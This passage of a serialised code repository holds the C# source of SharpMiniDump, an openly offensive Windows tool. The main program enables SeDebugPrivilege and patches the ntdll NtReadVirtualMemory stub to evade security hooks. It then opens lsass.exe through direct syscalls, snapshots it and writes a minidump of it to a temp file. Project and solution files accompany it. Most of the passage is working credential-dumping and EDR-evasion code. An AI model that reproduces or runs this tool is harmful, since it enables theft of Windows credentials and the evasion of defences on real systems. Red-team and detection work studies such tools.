NativeSysCall.Delegates.MiniDumpWriteDump MiniDumpWriteDump = (NativeSysCall.Delegates.MiniDumpWriteDump)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.MiniDumpWriteDump));\n            return MiniDumpWriteDump( hProcess,  ProcessId,  hFile,  DumpType,  ExceptionParam,  UserStreamParam,  CallbackParam);\n        }\n\n        public static bool LookupPrivilegeValue(String lpSystemName, String lpName, ref LUID luid)\n        {\n            IntPtr proc = GetProcAddress(GetAdvapi32(), \"LookupPrivilegeValueA\");\n            NativeSysCall.Delegates.LookupPrivilegeValue LookupPrivilegeValue = (NativeSysCall.Delegates.LookupPrivilegeValue)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.LookupPrivilegeValue));\n            return LookupPrivilegeValue( lpSystemName,  lpName, ref  luid);\n        }\n\n        public static  bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes)\n        {\n            IntPtr proc = GetProcAddress(GetAdvapi32(), \"AdjustTokenPrivileges\");\n            NativeSysCall.Delegates.AdjustTokenPrivileges AdjustTokenPrivileges = (NativeSysCall.Delegates.AdjustTokenPrivileges)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.AdjustTokenPrivileges));\n            return AdjustTokenPrivileges( TokenHandle,  DisableAllPrivileges, ref  NewState,  BufferLengthInBytes, ref  PreviousState, out  ReturnLengthInBytes);\n        }\n\n        public static int PssCaptureSnapshot(IntPtr ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, int ThreadContextFlags, ref IntPtr SnapshotHandle)\n        {\n            IntPtr proc = GetProcAddress(GetKernel32(), \"PssCaptureSnapshot\");\n            NativeSysCall.Delegates.PssCaptureSnapshot PssCaptureSnapshot = (NativeSysCall.Delegates.PssCaptureSnapshot)Marshal.GetDelegateForFunctionPointer(proc, typeof(NativeSysCall.Delegates.PssCaptureSnapshot));\n            return PssCaptureSnapshot( ProcessHandle,  CaptureFlags,  ThreadContextFlags, ref SnapshotHandle);\n        }\n\n        public static IntPtr GetProcAddress(IntPtr hModule, string procName)\n        {\n            return CustomLoadLibrary.GetExportAddress(hModule, procName);\n        }\n\n\n        public static IntPtr LoadLibrary(string name)\n        {\n            return CustomLoadLibrary.GetDllAddress(name, true);\n        }\n    }\n}\n"
  },
  {
    "path": "SharpMiniDump/Program.cs",
    "content": "//\n// Author: B4rtik (@b4rtik)\n// Project: SharpMiniDump (https://github.com/b4rtik/SharpMiniDump)\n// License: BSD 3-Clause\n//\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Threading;\n\nnamespace SharpMiniDump\n{\n    \n    public class Program\n    {\n        static void Main(string[] args)\n        {\n            Execute(args);\n        }\n\n        public static void Execute(string[] args)\n        {\n            if (IntPtr.Size != 8)\n            {\n                return;\n            }\n\n            if (!IsElevated())\n            {\n                Console.WriteLine(\"Run in High integrity context\");\n                return;\n            }\n\n            SetDebugPrivilege();\n\n            Natives.WIN_VER_INFO pWinVerInfo = new Natives.WIN_VER_INFO();\n\n            Natives.OSVERSIONINFOEXW osInfo = new Natives.OSVERSIONINFOEXW();\n            osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo);\n\n            Natives.RtlGetVersion(ref osInfo);\n\n            pWinVerInfo.chOSMajorMinor = osInfo.dwMajorVersion + \".\" + osInfo.dwMinorVersion;\n\n            Console.WriteLine(\"[*] OS MajorMinor version : \" + pWinVerInfo.chOSMajorMinor);\n            if(!pWinVerInfo.chOSMajorMinor.Equals(\"10.0\"))\n            {\n                Console.WriteLine(\"[x] Windows 10 - Windows Server 2016 only\");\n                return;\n            }\n\n            pWinVerInfo.SystemCall = 0x3F;\n\n            Natives.RtlInitUnicodeString(ref pWinVerInfo.ProcName, @\"lsass.exe\");\n            pWinVerInfo.hTargetPID = (IntPtr)Process.GetProcessesByName(\"lsass\")[0].Id;\n\n            pWinVerInfo.lpApiCall = \"NtReadVirtualMemory\";\n\n            if (!UnHookNativeApi(pWinVerInfo))\n            {\n                Console.WriteLine(\"[x] error unhooking {0}\", pWinVerInfo.lpApiCall);\n                return;\n            }\n\n            Natives.CLIENT_ID clientid = new Natives.CLIENT_ID();\n            clientid.UniqueProcess = pWinVerInfo.hTargetPID;\n            clientid.UniqueThread = IntPtr.Zero;\n\n            IntPtr hProcess = IntPtr.Zero;\n\n            Natives.OBJECT_ATTRIBUTES objAttribute = new Natives.OBJECT_ATTRIBUTES();\n\n\n            var status = NativeSysCall.ZwOpenProcess10(ref hProcess, Natives.ProcessAccessFlags.All, objAttribute, ref clientid);\n\n            if (hProcess == IntPtr.Zero)\n            {\n                Console.WriteLine(\"[x] Error ZwOpenProcess10  \" + status);\n                return;\n            }\n\n            Console.WriteLine(\"[*] ZwOpenProcess10  \" + status);\n\n            Natives.PSS_CAPTURE_FLAGS flags = Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_VA_CLONE\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLES\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_NAME_INFORMATION\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_BASIC_INFORMATION\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_HANDLE_TRACE\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREADS\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CAPTURE_THREAD_CONTEXT_EXTENDED\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_BREAKAWAY_OPTIONAL\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_USE_VM_ALLOCATIONS\n        | Natives.PSS_CAPTURE_FLAGS.PSS_CREATE_RELEASE_SECTION;\n\n            IntPtr SnapshotHandle = IntPtr.Zero;\n            int pss = Natives.PssCaptureSnapshot(hProcess,flags, 1048607,ref SnapshotHandle);\n            Console.WriteLine(\"[*] PssCaptureSnapshot \" + pss);\n            if (SnapshotHandle == IntPtr.Zero)\n            {\n                Console.WriteLine(\"[x] Error PssCaptureSnapshot  \");\n                return;\n            }\n\n            Natives.UNICODE_STRING uFileName = new Natives.UNICODE_STRING();\n            Natives.RtlInitUnicodeString(ref uFileName, @\"\\??\\C:\\Windows\\Temp\\dumpert.dmp\");\n\n            Microsoft.Win32.SafeHandles.SafeFileHandle hDmpFile;\n            IntPtr hElm = IntPtr.Zero;\n            Natives.IO_STATUS_BLOCK IoStatusBlock = new Natives.IO_STATUS_BLOCK();\n\n            IntPtr objectName = Marshal.AllocHGlobal(Marshal.SizeOf(uFileName));\n            Marshal.StructureToPtr(uFileName, objectName, true);\n\n            Natives.OBJECT_ATTRIBUTES FileObjectAttributes = new Natives.OBJECT_ATTRIBUTES\n            {\n                ObjectName = objectName,\n                Attributes = 0x00000040,\n                Length = (ulong)Marshal.SizeOf(typeof(Natives.OBJECT_ATTRIBUTES)),\n                RootDirectory = IntPtr.Zero,\n                SecurityDescriptor = IntPtr.Zero,\n                SecurityQualityOfService = IntPtr.Zero\n            };\n\n            Natives.LARGE_INTEGER lint = new Natives.LARGE_INTEGER();\n            lint.HighPart = 0;\n            lint.LowPart = 0;\n\n            long allocationsize = 0;\n\n            status = NativeSysCall.NtCreateFile10(\n                out hDmpFile,\n                (int)Natives.FILE_GENERIC_WRITE,\n                ref FileObjectAttributes,\n                out IoStatusBlock,\n                ref allocationsize,\n                Natives.FILE_ATTRIBUTE_NORMAL,\n                System.IO.FileShare.Write,\n                Natives.FILE_OVERWRITE_IF,\n                Natives.FILE_SYNCHRONOUS_IO_NONALERT,\n                hElm, 0);\n\n            if (hDmpFile.IsInvalid)\n            {\n                Console.WriteLine(\"[x] Error NtCreateFile10  \" + status + \" \" + IoStatusBlock.status);\n                NativeSysCall.ZwClose10(hProcess);\n                return;\n            }\n\n            \n            Natives.MINIDUMP_CALLBACK_INFORMATION CallbackInfo = new Natives.MINIDUMP_CALLBACK_INFORMATION();\n            CallbackInfo.CallbackRoutine = Program.MyMiniDumpWriteDumpCallback;\n            CallbackInfo.CallbackParam = IntPtr.Zero;\n\n            IntPtr pCallbackInfo = Marshal.AllocHGlobal(Marshal.SizeOf(CallbackInfo));\n            Marshal.StructureToPtr(CallbackInfo, pCallbackInfo, false);\n\n            IntPtr ExceptionParam = IntPtr.Zero;\n            IntPtr UserStreamParam = IntPtr.Zero;\n            IntPtr CallbackParam = IntPtr.Zero;\n\n            Console.WriteLine(\"[*] Target PID \" + pWinVerInfo.hTargetPID);\n            Console.WriteLine(\"[*] Generating minidump.... \" + pWinVerInfo.hTargetPID);\n            \n            if (!Natives.MiniDumpWriteDump(SnapshotHandle, (uint)pWinVerInfo.hTargetPID, hDmpFile, 2, ExceptionParam, UserStreamParam, pCallbackInfo))\n            {\n                Console.WriteLine(\"[x] Error MiniDumpWriteDump  \");\n                NativeSysCall.ZwClose10(hProcess);\n                return;\n            }\n\n            hDmpFile.Dispose();\n            NativeSysCall.ZwClose10(hProcess);\n\n            Console.WriteLine(\"[*] End \");\n            Console.WriteLine(\"[*] Minidump generated in  \" + Marshal.PtrToStringUni(uFileName.Buffer).Substring(4));\n        }\n\n        private static bool UnHookNativeApi(Natives.WIN_VER_INFO pWinVerInfo)\n        {\n            byte[] AssemblyBytes = { 0x4C, 0x8B, 0xD1, 0xB8, 0xFF };\n            AssemblyBytes[4] = (byte)pWinVerInfo.SystemCall;\n\n            IntPtr ntdll = Natives.LoadLibrary(\"ntdll.dll\");\n            IntPtr proc = Natives.GetProcAddress(ntdll, pWinVerInfo.lpApiCall);\n\n            IntPtr lpBaseAddress = proc;\n            uint OldProtection = 0;\n            uint NewProtection = 0;\n            uint uSize = 10;\n            var status = NativeSysCall.ZwProtectVirtualMemory10(Process.GetCurrentProcess().Handle, ref lpBaseAddress, ref uSize, 0x40, ref OldProtection);\n            if (status != Natives.NTSTATUS.Success)\n            {\n                Console.WriteLine(\"[x] Error ZwProtectVirtualMemory10 1 \" + status);\n                return false;\n            }\n\n            IntPtr written = IntPtr.Zero;\n            IntPtr unmanagedPointer = Marshal.AllocHGlobal(AssemblyBytes.Length);\n            Marshal.Copy(AssemblyBytes, 0, unmanagedPointer, AssemblyBytes.Length);\n\n            status = NativeSysCall.ZwWriteVirtualMemory10(Process.GetCurrentProcess().Handle, ref proc, unmanagedPointer, (uint)AssemblyBytes.Length, ref written);\n            if (status != Natives.NTSTATUS.Success)\n            {\n                Console.WriteLine(\"[x] Error ZwWriteVirtualMemory10 \" + status);\n                return false;\n            }\n\n            status = NativeSysCall.ZwProtectVirtualMemory10(Process.GetCurrentProcess().Handle, ref lpBaseAddress, ref uSize, OldProtection, ref NewProtection);\n            if (status != Natives.NTSTATUS.Success)\n            {\n                Console.WriteLine(\"[x] Error ZwProtectVirtualMemory10 2\" + status);\n                return false;\n            }\n\n            Marshal.FreeHGlobal(unmanagedPointer);\n\n            return true;\n        }\n\n        private static bool IsElevated()\n        {\n            return TokenIsElevated(GetCurrentProcessToken());\n        }\n\n        private static IntPtr GetCurrentProcessToken()\n        {\n            //https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs\n            IntPtr currentProcessToken = new IntPtr();\n            if (!Natives.OpenProcessToken(Process.GetCurrentProcess().Handle, Natives.TOKEN_ALL_ACCESS, out currentProcessToken))\n            {\n                Console.WriteLine(\"Error OpenProcessToken \" + new Win32Exception(Marshal.GetLastWin32Error()).Message);\n                return IntPtr.Zero;\n            }\n            return currentProcessToken;\n        }\n\n        private static bool TokenIsElevated(IntPtr hToken)\n        {\n            Natives.TOKEN_ELEVATION tk = new Natives.TOKEN_ELEVATION();\n            tk.TokenIsElevated = 0;\n            \n            IntPtr lpValue = Marshal.AllocHGlobal(Marshal.SizeOf(tk));\n            Marshal.StructureToPtr(tk, lpValue, false);\n\n            UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(Natives.TOKEN_ELEVATION));\n            UInt32 returnLength;\n\n            Boolean result = Natives.GetTokenInformation(\n                hToken,\n                Natives.TOKEN_INFORMATION_CLASS.TokenElevation,\n                lpValue,\n                tokenInformationLength,\n                out returnLength\n            );\n\n            Natives.TOKEN_ELEVATION elv = (Natives.TOKEN_ELEVATION)Marshal.PtrToStructure(lpValue, typeof(Natives.TOKEN_ELEVATION));\n            \n            if (elv.TokenIsElevated == 1)\n            {             \n                return true;\n            }\n            else\n            {\n\n                return false;\n            }\n        }\n\n        public static bool SetDebugPrivilege()\n        {\n            //https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Credentials/Tokens.cs\n            string Privilege = \"SeDebugPrivilege\";\n            IntPtr hToken = GetCurrentProcessToken();\n            Natives.LUID luid = new Natives.LUID();\n            if (!Natives.LookupPrivilegeValue(null, Privilege, ref luid))\n            {\n                Console.WriteLine(\"Error LookupPrivilegeValue\" + new Win32Exception(Marshal.GetLastWin32Error()).Message);\n                return false;\n            }\n\n            Natives.LUID_AND_ATTRIBUTES luidAndAttributes = new Natives.LUID_AND_ATTRIBUTES();\n            luidAndAttributes.Luid = luid;\n            luidAndAttributes.Attributes = Natives.SE_PRIVILEGE_ENABLED;\n\n            Natives.TOKEN_PRIVILEGES newState = new Natives.TOKEN_PRIVILEGES();\n            newState.PrivilegeCount = 1;\n            newState.Privileges = luidAndAttributes;\n\n            Natives.TOKEN_PRIVILEGES previousState = new Natives.TOKEN_PRIVILEGES();\n            UInt32 returnLength = 0;\n            if (!Natives.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength))\n            {\n                Console.WriteLine(\"AdjustTokenPrivileges() Error: \" + new Win32Exception(Marshal.GetLastWin32Error()).Message);\n                return false;\n            }\n\n            return true;\n        }\n\n        private static bool MyMiniDumpWriteDumpCallback(IntPtr CallbackParam, ref Natives.MINIDUMP_CALLBACK_INPUT CallbackInput, ref Natives.MINIDUMP_CALLBACK_OUTPUT CallbackOutput)\n        {\n            switch (CallbackInput.CallbackType)\n\t        {\n\t        case Natives.MINIDUMP_CALLBACK_TYPE.IsProcessSnapshotCallback: // IsProcessSnapshotCallback\n                CallbackOutput.Status = 1;\n\t\t        break;\n\t        }\n\t        return true;\n        }\n    }\n}\n"
  },
  {
    "path": "SharpMiniDump/Properties/AssemblyInfo.cs",
    "content": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Le informazioni generali relative a un assembly sono controllate dal seguente \n// set di attributi. Modificare i valori di questi attributi per modificare le informazioni\n// associate a un assembly.\n[assembly: AssemblyTitle(\"SharpMiniDump\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"SharpMiniDump\")]\n[assembly: AssemblyCopyright(\"Copyright ©  2019\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Se si imposta ComVisible su false, i tipi in questo assembly non saranno visibili\n// ai componenti COM. Se è necessario accedere a un tipo in questo assembly da\n// COM, impostare su true l'attributo ComVisible per tale tipo.\n[assembly: ComVisible(false)]\n\n// Se il progetto viene esposto a COM, il GUID seguente verrà utilizzato come ID della libreria dei tipi\n[assembly: Guid(\"6ffccf81-6c3c-4d3f-b15f-35a86d0b497f\")]\n\n// Le informazioni sulla versione di un assembly sono costituite dai seguenti quattro valori:\n//\n//      Versione principale\n//      Versione secondaria\n//      Numero di build\n//      Revisione\n//\n// È possibile specificare tutti i valori oppure impostare valori predefiniti per i numeri relativi alla revisione e alla build\n// usando l'asterisco '*' come illustrato di seguito:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
  },
  {
    "path": "SharpMiniDump/SharpMiniDump.csproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <RootNamespace>SharpMiniDump</RootNamespace>\n    <AssemblyName>SharpMiniDump</AssemblyName>\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>x64</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>x64</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Debug|x64'\">\n    <DebugSymbols>true</DebugSymbols>\n    <OutputPath>bin\\x64\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n    <DebugType>full</DebugType>\n    <PlatformTarget>x64</PlatformTarget>\n    <ErrorReport>prompt</ErrorReport>\n    <CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)' == 'Release|x64'\">\n    <OutputPath>bin\\x64\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n    <DebugType>pdbonly</DebugType>\n    <PlatformTarget>x64</PlatformTarget>\n    <ErrorReport>prompt</ErrorReport>\n    <CodeAnalysisRuleSet>MinimumRecommendedRules.ruleset</CodeAnalysisRuleSet>\n  </PropertyGroup>\n  <PropertyGroup>\n    <StartupObject />\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"CustomLoadLibrary.cs\" />\n    <Compile Include=\"Natives.cs\" />\n    <Compile Include=\"NativeSysCall.cs\" />\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "SharpMiniDump.sln",
    "content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 15\nVisualStudioVersion = 15.0.28307.136\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"SharpMiniDump\", \"SharpMiniDump\\SharpMiniDump.csproj\", \"{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|Any CPU = Release|Any CPU\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|x64.Build.0 = Debug|x64\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|Any CPU.Build.0 = Release|Any CPU\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|x64.ActiveCfg = Release|x64\n\t\t{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|x64.Build.0 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {C4236FC6-7C6F-413C-9583-2CF9548B531E}\n\tEndGlobalSection\nEndGlobal\n"
  }
]